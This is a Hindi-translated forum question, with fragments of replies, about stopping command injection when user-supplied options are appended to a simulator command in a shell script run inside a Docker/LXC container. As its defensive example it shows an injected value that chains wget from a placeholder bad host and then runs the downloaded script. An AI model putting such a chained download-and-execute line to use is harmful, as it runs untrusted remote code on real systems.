मेरे पास एक आवरण एप्लिकेशन है जहां मुझे उपयोगकर्ता को सिम्युलेटर में पास करने के लिए कस्टम विकल्प निर्दिष्ट करने की आवश्यकता है। हालांकि, मैं यह सुनिश्चित करना चाहता हूं कि उपयोगकर्ता उपयोगकर्ता विकल्पों के माध्यम से अन्य कमांड को इंजेक्ट न करे। इसे पूरा करने का सबसे अच्छा तरीका क्या है?
उदाहरण के लिए।
- उपयोगकर्ता प्रदान करता है:
-a -b
- आवेदन निष्पादित:
mysim --preset_opt -a -b
हालाँकि, मैं ऐसा नहीं करना चाहता:
- उपयोगकर्ता प्रदान करता है:
&& wget http:\\bad.com\bad_code.sh && .\bad_code.sh
- आवेदन निष्पादित:
mysim --preset_opt && wget http:\\bad.com\bad_code.sh && .\bad_code.sh
वर्तमान में, मैं सोच रहा हूं कि मैं केवल प्रत्येक उपयोगकर्ता को सिंगल कोट्स के साथ दिए गए विकल्प को घेर सकता हूं '
और किसी भी उपयोगकर्ता द्वारा प्रदान किए गए सिंगल कोट्स को अलग कर सकता हूं , ताकि अंतिम उदाहरण में कमांड एक हानिरहित हो जाए:
mysim -preset_opt '&&' 'wget' 'http:\\bad.com\bad_code.sh' '&&' '.\bad_code.sh'
नोट: mysim
कमांड डॉक / lxc कंटेनर में शेल स्क्रिप्ट के भाग के रूप में निष्पादित होती है। मैं उबंटू चला रहा हूं।
eval
। मैं निष्पादन योग्य mysim
को शेल स्क्रिप्ट के अंदर बुला रहा हूं । मैं देख रहा हूं कि इंजेक्शन तब होता है जब मैं केवल उन विकल्पों की स्ट्रिंग को कॉपी करता हूं जो उपयोगकर्ता प्रदान करता है और इसे mysim
कमांड के अंत में पेस्ट करता है ।
-a -b
। इसलिए मैं यह सुनिश्चित करना चाह रहा हूं कि उस स्ट्रिंग में अतिरिक्त कमांड इंजेक्ट न हों।
[a-zA-Z0-9 _-]
की अनुमति देना एक बहुत ही रक्षात्मक विकल्प की तरह दिखता है।
eval
एप्लिकेशन को चलाने के लिए उपयोग कर रहे हैं ? यदि नहीं, तो इंजेक्शन नहीं होना चाहिए:x="&& echo Doomed" ; echo $x